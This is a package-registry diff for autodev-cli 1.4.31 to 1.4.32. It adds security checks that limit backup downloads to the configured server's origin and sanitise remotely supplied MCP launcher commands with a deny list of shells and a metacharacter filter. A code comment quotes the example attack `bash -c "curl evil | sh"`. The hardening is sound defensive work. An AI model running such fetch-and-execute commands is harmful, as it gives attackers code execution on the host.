autodev-cli 1.4.31 → 1.4.32
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/out/agentBackup/index.d.ts +1 -1
- package/out/agentBackup/index.js +2 -1
- package/out/agentBackup/index.js.map +1 -1
- package/out/agentBackup/upload.d.ts +9 -0
- package/out/agentBackup/upload.js +24 -0
- package/out/agentBackup/upload.js.map +1 -1
- package/out/core/projectMcp.d.ts +20 -0
- package/out/core/projectMcp.js +68 -0
- package/out/core/projectMcp.js.map +1 -1
- package/out/core/settingsLoader.d.ts +8 -0
- package/out/core/settingsLoader.js +1 -0
- package/out/core/settingsLoader.js.map +1 -1
- package/out/rateLimit.d.ts +16 -0
- package/out/rateLimit.js +49 -1
- package/out/rateLimit.js.map +1 -1
- package/out/taskLoop.js +101 -29
- package/out/taskLoop.js.map +1 -1
- package/out/webSocketPoller.d.ts +11 -0
- package/out/webSocketPoller.js +75 -13
- package/out/webSocketPoller.js.map +1 -1
- package/out/webhook.d.ts +1 -1
- package/out/webhookPoller.d.ts +2 -0
- package/out/webhookPoller.js +10 -0
- package/out/webhookPoller.js.map +1 -1
- package/package.json +1 -1
|
@@ -2,5 +2,5 @@ export { createAgentBackup } from './export';
|
|
|
2
2
|
export type { ExportResult } from './export';
|
|
3
3
|
export { restoreAgentBackup } from './import';
|
|
4
4
|
export type { ImportResult } from './import';
|
|
5
|
-
export { uploadAgentBackup, downloadAgentBackup } from './upload';
|
|
5
|
+
export { uploadAgentBackup, downloadAgentBackup, isTrustedDownloadUrl } from './upload';
|
|
6
6
|
export type { UploadResult } from './upload';
|
package/out/agentBackup/index.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.downloadAgentBackup = exports.uploadAgentBackup = exports.restoreAgentBackup = exports.createAgentBackup = void 0;
|
|
3
|
+
exports.isTrustedDownloadUrl = exports.downloadAgentBackup = exports.uploadAgentBackup = exports.restoreAgentBackup = exports.createAgentBackup = void 0;
|
|
4
4
|
var export_1 = require("./export");
|
|
5
5
|
Object.defineProperty(exports, "createAgentBackup", { enumerable: true, get: function () { return export_1.createAgentBackup; } });
|
|
6
6
|
var import_1 = require("./import");
|
|
@@ -8,4 +8,5 @@ Object.defineProperty(exports, "restoreAgentBackup", { enumerable: true, get: fu
|
|
|
8
8
|
var upload_1 = require("./upload");
|
|
9
9
|
Object.defineProperty(exports, "uploadAgentBackup", { enumerable: true, get: function () { return upload_1.uploadAgentBackup; } });
|
|
10
10
|
Object.defineProperty(exports, "downloadAgentBackup", { enumerable: true, get: function () { return upload_1.downloadAgentBackup; } });
|
|
11
|
+
Object.defineProperty(exports, "isTrustedDownloadUrl", { enumerable: true, get: function () { return upload_1.isTrustedDownloadUrl; } });
|
|
11
12
|
//# sourceMappingURL=index.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/agentBackup/index.ts"],"names":[],"mappings":";;;AAAA,mCAA6C;AAApC,2GAAA,iBAAiB,OAAA;AAE1B,mCAA8C;AAArC,4GAAA,kBAAkB,OAAA;AAE3B,
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/agentBackup/index.ts"],"names":[],"mappings":";;;AAAA,mCAA6C;AAApC,2GAAA,iBAAiB,OAAA;AAE1B,mCAA8C;AAArC,4GAAA,kBAAkB,OAAA;AAE3B,mCAAwF;AAA/E,2GAAA,iBAAiB,OAAA;AAAE,6GAAA,mBAAmB,OAAA;AAAE,8GAAA,oBAAoB,OAAA"}
|
|
@@ -3,6 +3,15 @@ export interface UploadResult {
|
|
|
3
3
|
filename: string;
|
|
4
4
|
downloadUrl: string;
|
|
5
5
|
}
|
|
6
|
+
/**
|
|
7
|
+
* True when `downloadUrl` points at the same origin (scheme+host+port) as the
|
|
8
|
+
* configured server. Restores attach the agent's `serverApiKey` as a Bearer
|
|
9
|
+
* token and overwrite the workspace, so a frame-supplied URL to an attacker
|
|
10
|
+
* host must never be honored (credential exfiltration + workspace poisoning).
|
|
11
|
+
* Scheme is normalized (ws→http / wss→https) so a wss:// serverBaseUrl matches
|
|
12
|
+
* an https:// download URL.
|
|
13
|
+
*/
|
|
14
|
+
export declare function isTrustedDownloadUrl(downloadUrl: string, serverBaseUrl: string): boolean;
|
|
6
15
|
/** Upload a backup zip to `POST /api/agents/{agentId}/exports`. */
|
|
7
16
|
export declare function uploadAgentBackup(zipPath: string, agentId: string, serverBaseUrl: string, serverApiKey: string): Promise<UploadResult>;
|
|
8
17
|
/** Download a zip from a URL (authenticated) and save to destPath. */
|
|
@@ -33,6 +33,7 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
33
33
|
};
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.isTrustedDownloadUrl = isTrustedDownloadUrl;
|
|
36
37
|
exports.uploadAgentBackup = uploadAgentBackup;
|
|
37
38
|
exports.downloadAgentBackup = downloadAgentBackup;
|
|
38
39
|
const fs = __importStar(require("fs"));
|
|
@@ -55,6 +56,29 @@ function httpOrigin(serverBaseUrl) {
|
|
|
55
56
|
return serverBaseUrl.replace(/\/+$/, '');
|
|
56
57
|
}
|
|
57
58
|
}
|
|
59
|
+
/**
|
|
60
|
+
* True when `downloadUrl` points at the same origin (scheme+host+port) as the
|
|
61
|
+
* configured server. Restores attach the agent's `serverApiKey` as a Bearer
|
|
62
|
+
* token and overwrite the workspace, so a frame-supplied URL to an attacker
|
|
63
|
+
* host must never be honored (credential exfiltration + workspace poisoning).
|
|
64
|
+
* Scheme is normalized (ws→http / wss→https) so a wss:// serverBaseUrl matches
|
|
65
|
+
* an https:// download URL.
|
|
66
|
+
*/
|
|
67
|
+
function isTrustedDownloadUrl(downloadUrl, serverBaseUrl) {
|
|
68
|
+
try {
|
|
69
|
+
if (!serverBaseUrl)
|
|
70
|
+
return false;
|
|
71
|
+
const d = new url.URL(downloadUrl);
|
|
72
|
+
const expected = new url.URL(httpOrigin(serverBaseUrl));
|
|
73
|
+
if (d.protocol !== 'http:' && d.protocol !== 'https:')
|
|
74
|
+
return false;
|
|
75
|
+
// Require the same normalized scheme + host (host includes an explicit port).
|
|
76
|
+
return d.protocol === expected.protocol && d.host === expected.host;
|
|
77
|
+
}
|
|
78
|
+
catch {
|
|
79
|
+
return false;
|
|
80
|
+
}
|
|
81
|
+
}
|
|
58
82
|
/** Upload a backup zip to `POST /api/agents/{agentId}/exports`. */
|
|
59
83
|
async function uploadAgentBackup(zipPath, agentId, serverBaseUrl, serverApiKey) {
|
|
60
84
|
const fileBuffer = fs.readFileSync(zipPath);
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"upload.js","sourceRoot":"","sources":["../../src/agentBackup/upload.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
1
|
+
{"version":3,"file":"upload.js","sourceRoot":"","sources":["../../src/agentBackup/upload.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAmCA,oDAWC;AAGD,8CA0DC;AAGD,kDAgCC;AA9ID,uCAAyB;AACzB,2CAA6B;AAC7B,6CAA+B;AAC/B,2CAA6B;AAC7B,yCAA2B;AAQ3B;;;;GAIG;AACH,SAAS,UAAU,CAAC,aAAqB;IACvC,IAAI,CAAC;QACH,MAAM,CAAC,GAAG,IAAI,GAAG,CAAC,GAAG,CAAC,aAAa,CAAC,CAAC;QACrC,MAAM,KAAK,GAAG,CAAC,CAAC,QAAQ,KAAK,KAAK,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC,QAAQ,KAAK,MAAM,CAAC,CAAC,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC;QAC7F,OAAO,GAAG,KAAK,KAAK,CAAC,CAAC,IAAI,EAAE,CAAC;IAC/B,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,aAAa,CAAC,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;IAC3C,CAAC;AACH,CAAC;AAED;;;;;;;GAOG;AACH,SAAgB,oBAAoB,CAAC,WAAmB,EAAE,aAAqB;IAC7E,IAAI,CAAC;QACH,IAAI,CAAC,aAAa;YAAE,OAAO,KAAK,CAAC;QACjC,MAAM,CAAC,GAAG,IAAI,GAAG,CAAC,GAAG,CAAC,WAAW,CAAC,CAAC;QACnC,MAAM,QAAQ,GAAG,IAAI,GAAG,CAAC,GAAG,CAAC,UAAU,CAAC,aAAa,CAAC,CAAC,CAAC;QACxD,IAAI,CAAC,CAAC,QAAQ,KAAK,OAAO,IAAI,CAAC,CAAC,QAAQ,KAAK,QAAQ;YAAE,OAAO,KAAK,CAAC;QACpE,8EAA8E;QAC9E,OAAO,CAAC,CAAC,QAAQ,KAAK,QAAQ,CAAC,QAAQ,IAAI,CAAC,CAAC,IAAI,KAAK,QAAQ,CAAC,IAAI,CAAC;IACtE,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,KAAK,CAAC;IACf,CAAC;AACH,CAAC;AAED,mEAAmE;AAC5D,KAAK,UAAU,iBAAiB,CACrC,OAAe,EACf,OAAe,EACf,aAAqB,EACrB,YAAoB;IAEpB,MAAM,UAAU,GAAG,EAAE,CAAC,YAAY,CAAC,OAAO,CAAC,CAAC;IAC5C,MAAM,QAAQ,GAAG,IAAI,CAAC,QAAQ,CAAC,OAAO,CAAC,CAAC;IACxC,MAAM,QAAQ,GAAG,sBAAsB,IAAI,CAAC,GAAG,EAAE,EAAE,CAAC;IAEpD,MAAM,QAAQ,GAAG,MAAM,CAAC,IAAI,CAC1B,KAAK,QAAQ,MAAM;QACnB,yDAAyD,QAAQ,OAAO;QACxE,uCAAuC,EACvC,MAAM,CACP,CAAC;IACF,MAAM,QAAQ,GAAG,MAAM,CAAC,IAAI,CAAC,SAAS,QAAQ,QAAQ,EAAE,MAAM,CAAC,CAAC;IAChE,MAAM,IAAI,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC,QAAQ,EAAE,UAAU,EAAE,QAAQ,CAAC,CAAC,CAAC;IAE7D,MAAM,MAAM,GAAG,IAAI,GAAG,CAAC,GAAG,CAAC,GAAG,UAAU,CAAC,aAAa,CAAC,eAAe,OAAO,iBAAiB,CAAC,CAAC;IAChG,MAAM,SAAS,GAAG,MAAM,CAAC,QAAQ,KAAK,QAAQ,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC;IAC9D,MAAM,IAAI,GAAG,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,QAAQ,KAAK,QAAQ,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC;IAEjG,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACrC,MAAM,GAAG,GAAG,SAAS,CAAC,OAAO,CAC3B;YACE,QAAQ,EAAE,MAAM,CAAC,QAAQ;YACzB,IAAI;YACJ,IAAI,EAAE,MAAM,CAAC,QAAQ;YACrB,MAAM,EAAE,MAAM;YACd,OAAO,EAAE;gBACP,eAAe,EAAE,UAAU,YAAY,EAAE;gBACzC,cAAc,EAAE,iCAAiC,QAAQ,EAAE;gBAC3D,gBAAgB,EAAE,IAAI,CAAC,MAAM;gBAC7B,QAAQ,EAAE,kBAAkB;aAC7B;SACF,EACD,CAAC,GAAG,EAAE,EAAE;YACN,IAAI,GAAG,GAAG,EAAE,CAAC;YACb,GAAG,CAAC,EAAE,CAAC,MAAM,EAAE,CAAC,KAAa,EAAE,EAAE,GAAG,GAAG,IAAI,KAAK,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;YACtE,GAAG,CAAC,EAAE,CAAC,KAAK,EAAE,GAAG,EAAE;gBACjB,IAAI,CAAC;oBACH,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAA4B,CAAC;oBACxD,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,CAAC;wBAAC,MAAM,CAAC,IAAI,KAAK,CAAC,MAAM,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,QAAQ,GAAG,CAAC,UAAU,EAAE,CAAC,CAAC,CAAC,CAAC;wBAAC,OAAO;oBAAC,CAAC;oBACvG,MAAM,IAAI,GAAG,IAAI,CAAC,MAAM,CAA4B,CAAC;oBACrD,OAAO,CAAC;wBACN,EAAE,EAAE,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,CAAC;wBAC5B,QAAQ,EAAE,MAAM,CAAC,IAAI,CAAC,UAAU,CAAC,IAAI,QAAQ,CAAC;wBAC9C,WAAW,EAAE,MAAM,CAAC,IAAI,CAAC,aAAa,CAAC,IAAI,EAAE,CAAC;qBAC/C,CAAC,CAAC;gBACL,CAAC;gBAAC,MAAM,CAAC;oBAAC,MAAM,CAAC,IAAI,KAAK,CAAC,gBAAgB,GAAG,CAAC,KAAK,CAAC,CAAC,EAAE,GAAG,CAAC,EAAE,CAAC,CAAC,CAAC;gBAAC,CAAC;YACrE,CAAC,CAAC,CAAC;QACL,CAAC,CACF,CAAC;QACF,GAAG,CAAC,EAAE,CAAC,OAAO,EAAE,MAAM,CAAC,CAAC;QACxB,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QAChB,GAAG,CAAC,GAAG,EAAE,CAAC;IACZ,CAAC,CAAC,CAAC;AACL,CAAC;AAED,sEAAsE;AAC/D,KAAK,UAAU,mBAAmB,CACvC,WAAmB,EACnB,QAAgB,EAChB,YAAoB;IAEpB,MAAM,MAAM,GAAG,IAAI,GAAG,CAAC,GAAG,CAAC,WAAW,CAAC,CAAC;IACxC,MAAM,SAAS,GAAG,MAAM,CAAC,QAAQ,KAAK,QAAQ,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC;IAC9D,MAAM,IAAI,GAAG,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,QAAQ,KAAK,QAAQ,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC;IAEjG,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACrC,MAAM,GAAG,GAAG,SAAS,CAAC,OAAO,CAC3B;YACE,QAAQ,EAAE,MAAM,CAAC,QAAQ;YACzB,IAAI;YACJ,IAAI,EAAE,MAAM,CAAC,QAAQ,GAAG,CAAC,MAAM,CAAC,MAAM,IAAI,EAAE,CAAC;YAC7C,MAAM,EAAE,KAAK;YACb,OAAO,EAAE,EAAE,eAAe,EAAE,UAAU,YAAY,EAAE,EAAE;SACvD,EACD,CAAC,GAAG,EAAE,EAAE;YACN,IAAI,GAAG,CAAC,UAAU,IAAI,GAAG,CAAC,UAAU,IAAI,GAAG,EAAE,CAAC;gBAC5C,MAAM,CAAC,IAAI,KAAK,CAAC,yBAAyB,GAAG,CAAC,UAAU,EAAE,CAAC,CAAC,CAAC;gBAC7D,OAAO;YACT,CAAC;YACD,MAAM,GAAG,GAAG,EAAE,CAAC,iBAAiB,CAAC,QAAQ,CAAC,CAAC;YAC3C,GAAG,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;YACd,GAAG,CAAC,EAAE,CAAC,QAAQ,EAAE,GAAG,EAAE,CAAC,GAAG,CAAC,KAAK,CAAC,GAAG,EAAE,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;YACnD,GAAG,CAAC,EAAE,CAAC,OAAO,EAAE,MAAM,CAAC,CAAC;QAC1B,CAAC,CACF,CAAC;QACF,GAAG,CAAC,EAAE,CAAC,OAAO,EAAE,MAAM,CAAC,CAAC;QACxB,GAAG,CAAC,GAAG,EAAE,CAAC;IACZ,CAAC,CAAC,CAAC;AACL,CAAC"}
|
package/out/core/projectMcp.d.ts
CHANGED
|
@@ -21,6 +21,26 @@ export interface McpJsonEntry {
|
|
|
21
21
|
}
|
|
22
22
|
/** True for remote (http/sse) MCP entries — identified by a url instead of a command. */
|
|
23
23
|
export declare function isRemoteMcp(e: McpJsonEntry): boolean;
|
|
24
|
+
/**
|
|
25
|
+
* Guard for stdio MCP `command` values that arrive from an untrusted channel
|
|
26
|
+
* (e.g. a WS `mcp_update` frame). Rejects shells/interpreters, absolute or
|
|
27
|
+
* relative paths, and anything carrying shell metacharacters. This does NOT
|
|
28
|
+
* make mcp_update safe on its own — that path must also be gated behind an
|
|
29
|
+
* explicit opt-in (mcpUpdateEnabled) — it just removes the most direct
|
|
30
|
+
* command-execution primitives. Remote (url) entries are validated separately.
|
|
31
|
+
*/
|
|
32
|
+
export declare function isSafeStdioMcpCommand(command: unknown): command is string;
|
|
33
|
+
/**
|
|
34
|
+
* Filter an untrusted `mcpServers` map down to entries that are safe to write
|
|
35
|
+
* and (re)spawn. Remote entries must have an http/https url; stdio entries must
|
|
36
|
+
* pass isSafeStdioMcpCommand. Returns the accepted subset plus the names that
|
|
37
|
+
* were rejected (for logging). Callers should still gate the whole path behind
|
|
38
|
+
* an opt-in flag.
|
|
39
|
+
*/
|
|
40
|
+
export declare function sanitizeRemoteMcpEntries(entries: Record<string, unknown>): {
|
|
41
|
+
safe: McpJsonEntries;
|
|
42
|
+
rejected: string[];
|
|
43
|
+
};
|
|
24
44
|
export type McpJsonEntries = Record<string, McpJsonEntry>;
|
|
25
45
|
/** Return only USER entries from .mcp.json (built-ins filtered out). */
|
|
26
46
|
export declare function loadProjectUserMcp(root: string): McpJsonEntries;
|
package/out/core/projectMcp.js
CHANGED
|
@@ -34,6 +34,8 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
36
|
exports.isRemoteMcp = isRemoteMcp;
|
|
37
|
+
exports.isSafeStdioMcpCommand = isSafeStdioMcpCommand;
|
|
38
|
+
exports.sanitizeRemoteMcpEntries = sanitizeRemoteMcpEntries;
|
|
37
39
|
exports.loadProjectUserMcp = loadProjectUserMcp;
|
|
38
40
|
exports.loadProjectAllMcp = loadProjectAllMcp;
|
|
39
41
|
exports.saveProjectUserMcp = saveProjectUserMcp;
|
|
@@ -45,6 +47,72 @@ const path = __importStar(require("path"));
|
|
|
45
47
|
function isRemoteMcp(e) {
|
|
46
48
|
return typeof e?.url === 'string' && e.url.length > 0;
|
|
47
49
|
}
|
|
50
|
+
// Shells / interpreters that make an MCP `command` a direct arbitrary-code
|
|
51
|
+
// primitive (e.g. `bash -c "curl evil | sh"`). Never allow these as the
|
|
52
|
+
// launcher for a remotely-supplied stdio MCP entry.
|
|
53
|
+
const _MCP_FORBIDDEN_COMMANDS = new Set([
|
|
54
|
+
'bash', 'sh', 'zsh', 'dash', 'ksh', 'csh', 'tcsh', 'fish', 'ash',
|
|
55
|
+
'cmd', 'cmd.exe', 'powershell', 'powershell.exe', 'pwsh', 'pwsh.exe', 'env',
|
|
56
|
+
]);
|
|
57
|
+
/**
|
|
58
|
+
* Guard for stdio MCP `command` values that arrive from an untrusted channel
|
|
59
|
+
* (e.g. a WS `mcp_update` frame). Rejects shells/interpreters, absolute or
|
|
60
|
+
* relative paths, and anything carrying shell metacharacters. This does NOT
|
|
61
|
+
* make mcp_update safe on its own — that path must also be gated behind an
|
|
62
|
+
* explicit opt-in (mcpUpdateEnabled) — it just removes the most direct
|
|
63
|
+
* command-execution primitives. Remote (url) entries are validated separately.
|
|
64
|
+
*/
|
|
65
|
+
function isSafeStdioMcpCommand(command) {
|
|
66
|
+
if (typeof command !== 'string')
|
|
67
|
+
return false;
|
|
68
|
+
const cmd = command.trim();
|
|
69
|
+
if (!cmd)
|
|
70
|
+
return false;
|
|
71
|
+
// Must be a bare launcher resolved from PATH — no path separators.
|
|
72
|
+
if (/[\\/]/.test(cmd))
|
|
73
|
+
return false;
|
|
74
|
+
// No shell metacharacters that could smuggle a second command.
|
|
75
|
+
if (/[;&|`$(){}<>\n\r*?~!"'\s]/.test(cmd))
|
|
76
|
+
return false;
|
|
77
|
+
if (_MCP_FORBIDDEN_COMMANDS.has(cmd.toLowerCase()))
|
|
78
|
+
return false;
|
|
79
|
+
return true;
|
|
80
|
+
}
|
|
81
|
+
/**
|
|
82
|
+
* Filter an untrusted `mcpServers` map down to entries that are safe to write
|
|
83
|
+
* and (re)spawn. Remote entries must have an http/https url; stdio entries must
|
|
84
|
+
* pass isSafeStdioMcpCommand. Returns the accepted subset plus the names that
|
|
85
|
+
* were rejected (for logging). Callers should still gate the whole path behind
|
|
86
|
+
* an opt-in flag.
|
|
87
|
+
*/
|
|
88
|
+
function sanitizeRemoteMcpEntries(entries) {
|
|
89
|
+
const safe = {};
|
|
90
|
+
const rejected = [];
|
|
91
|
+
for (const [name, raw] of Object.entries(entries || {})) {
|
|
92
|
+
const e = raw;
|
|
93
|
+
if (!e || typeof e !== 'object') {
|
|
94
|
+
rejected.push(name);
|
|
95
|
+
continue;
|
|
96
|
+
}
|
|
97
|
+
if (isRemoteMcp(e)) {
|
|
98
|
+
const url = e.url;
|
|
99
|
+
if (/^https?:\/\//i.test(url)) {
|
|
100
|
+
safe[name] = e;
|
|
101
|
+
}
|
|
102
|
+
else {
|
|
103
|
+
rejected.push(name);
|
|
104
|
+
}
|
|
105
|
+
continue;
|
|
106
|
+
}
|
|
107
|
+
if (isSafeStdioMcpCommand(e.command)) {
|
|
108
|
+
safe[name] = e;
|
|
109
|
+
}
|
|
110
|
+
else {
|
|
111
|
+
rejected.push(name);
|
|
112
|
+
}
|
|
113
|
+
}
|
|
114
|
+
return { safe, rejected };
|
|
115
|
+
}
|
|
48
116
|
const MCP_FILE = '.mcp.json';
|
|
49
117
|
function _file(root) { return path.join(root, MCP_FILE); }
|
|
50
118
|
function _readAll(root) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"projectMcp.js","sourceRoot":"","sources":["../../src/core/projectMcp.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAqCA,kCAEC;AAmDD,gDAOC;AAGD,8CAEC;AAGD,gDAiBC;AAGD,oDAOC;AAGD,4DAeC;
|
|
1
|
+
{"version":3,"file":"projectMcp.js","sourceRoot":"","sources":["../../src/core/projectMcp.ts"],"names":[],"mappings":"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